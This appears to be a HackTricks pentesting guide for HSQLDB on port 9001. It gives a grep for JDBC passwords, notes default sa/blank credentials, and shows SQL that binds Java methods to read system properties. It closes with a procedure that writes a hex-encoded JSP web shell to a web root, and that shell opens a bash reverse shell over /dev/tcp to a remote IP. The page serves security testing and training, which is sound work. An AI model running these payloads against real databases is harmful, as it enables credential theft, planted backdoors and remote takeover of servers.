// HackTricks · Network Services

9001 - Pentesting HSQLDB

9001 - Pentesting HSQLDB

Basic Information

HSQLDB (HyperSQL DataBase) is a Java relational database supporting in-memory, disk-based, embedded, and server modes.[1]

Default port: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Default Settings

Note that by default this service is likely running in memory or is bound to localhost. If you found it, you probably exploited another service and are looking to escalate privileges.

Fresh databases historically create the initial administrator as SA with an empty password, but packaged applications commonly change it. Treat sa/blank as a configuration check, not a guaranteed network default.[4]

If you’ve exploited another service, search for possible credentials using

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Note the database name carefully - you’ll need it to connect.

Info Gathering

Download HSQLDB, extract hsqldb/lib/hsqldb.jar, and run its GUI manager with java -jar hsqldb.jar; then connect using the discovered credentials.[2]

Note the connection URL will look something like this for a remote system: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java Language Routines

HSQLDB Java Language Routines can call eligible static methods from classes visible to the database engine’s class loader. Routine privileges and the hsqldb.method_class_names allowlist can restrict which methods are callable.[5]

JRTs can be functions or procedures. Functions can be called via SQL statements if the Java method returns one or more SQL-compatible primitive variables. They are invoked using the VALUES statement.

If the Java method we want to call returns void, we need to use a procedure invoked with the CALL statement.

Reading Java System Properties

Create function:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Execute function:

VALUES(getsystemproperty('user.name'))

Oracle documents the standard system-property names.[3]

Write Content to File

On compatible older JDKs where the internal class is visible and allowed, com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename can write hex-decoded bytes through a custom procedure. This is JDK- and module-policy-dependent and may fail on modern runtimes. The 1024-byte limit below comes from the declared VARBINARY(1024) parameter and can be adjusted; it is not an inherent gadget limit.[5]

Create procedure:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Execute procedure:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

References